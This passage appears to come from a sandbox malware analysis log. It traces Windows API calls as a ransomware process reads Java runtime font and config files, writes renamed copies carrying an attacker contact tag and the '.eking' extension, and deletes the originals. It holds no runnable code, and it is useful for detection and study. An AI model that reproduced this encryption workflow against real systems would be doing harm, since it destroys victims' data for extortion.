Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0241.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0241.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0241.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0241.107] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.107] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0241.109] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xeba, lpOverlapped=0x0) returned 1 [0241.111] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xec0, lpOverlapped=0x0) returned 1 [0241.360] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0241.360] CloseHandle (hObject=0x380) returned 1 [0241.361] CloseHandle (hObject=0x388) returned 1 [0241.426] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0 [0241.427] SetEvent (hEvent=0x2b8) returned 1 [0241.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.429] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10568) returned 1 [0241.429] CloseHandle (hObject=0x388) returned 1 [0241.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0241.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0241.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0241.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.431] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.431] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0241.432] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2948, lpOverlapped=0x0) returned 1 [0241.434] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2950, lpOverlapped=0x0) returned 1 [0241.436] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0241.436] CloseHandle (hObject=0x388) returned 1 [0241.437] CloseHandle (hObject=0x380) returned 1 [0241.440] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0 [0241.440] SetEvent (hEvent=0x2b8) returned 1 [0241.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0241.444] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=75144) returned 1 [0241.444] CloseHandle (hObject=0x380) returned 1 [0241.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0241.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0241.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0241.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0241.451] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.452] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0241.456] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x12588, lpOverlapped=0x0) returned 1 [0241.463] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x12590, lpOverlapped=0x0) returned 1 [0241.692] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0241.692] CloseHandle (hObject=0x380) returned 1 [0241.692] CloseHandle (hObject=0x388) returned 1 [0241.701] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0 [0241.701] SetEvent (hEvent=0x2b8) returned 1 [0241.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.707] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=75124) returned 1 [0241.707] CloseHandle (hObject=0x388) returned 1 [0241.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0241.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0241.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0241.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.708] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.708] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0241.708] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x12574, lpOverlapped=0x0) returned 1 [0241.764] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x12580, lpOverlapped=0x0) returned 1 [0241.767] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0241.767] CloseHandle (hObject=0x388) returned 1 [0241.768] CloseHandle (hObject=0x380) returned 1 [0241.783] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0 [0241.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0241.788] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=80856) returned 1 [0241.788] CloseHandle (hObject=0x380) returned 1 [0241.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0241.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0241.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0241.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0241.789] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.789] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0241.793] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x13bd8, lpOverlapped=0x0) returned 1 [0241.800] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x13be0, lpOverlapped=0x0) returned 1 [0242.233] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0242.234] CloseHandle (hObject=0x380) returned 1 [0242.234] CloseHandle (hObject=0x388) returned 1 [0242.246] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0 [0242.247] SetEvent (hEvent=0x2b8) returned 1 [0242.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.252] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=344908) returned 1 [0242.252] CloseHandle (hObject=0x388) returned 1 [0242.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0242.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0242.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0242.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.254] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0242.254] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0242.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0242.255] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x5434c, lpOverlapped=0x0) returned 1 [0242.279] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x54350, lpOverlapped=0x0) returned 1 [0242.605] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0242.606] CloseHandle (hObject=0x388) returned 1 [0242.606] CloseHandle (hObject=0x380) returned 1 [0242.623] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0 [0242.624] SetEvent (hEvent=0x2b8) returned 1 [0242.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0242.626] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=317896) returned 1 [0242.626] CloseHandle (hObject=0x380) returned 1 [0242.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0242.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0242.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0242.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0242.730] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0242.730] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0242.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0242.731] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4d9c8, lpOverlapped=0x0) returned 1 [0242.744] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4d9d0, lpOverlapped=0x0) returned 1 [0242.753] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0242.753] CloseHandle (hObject=0x380) returned 1 [0242.753] CloseHandle (hObject=0x388) returned 1 [0242.765] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0 [0242.765] SetEvent (hEvent=0x2b8) returned 1 [0242.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0243.239] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=698236) returned 1 [0243.239] CloseHandle (hObject=0x364) returned 1 [0243.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0243.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program 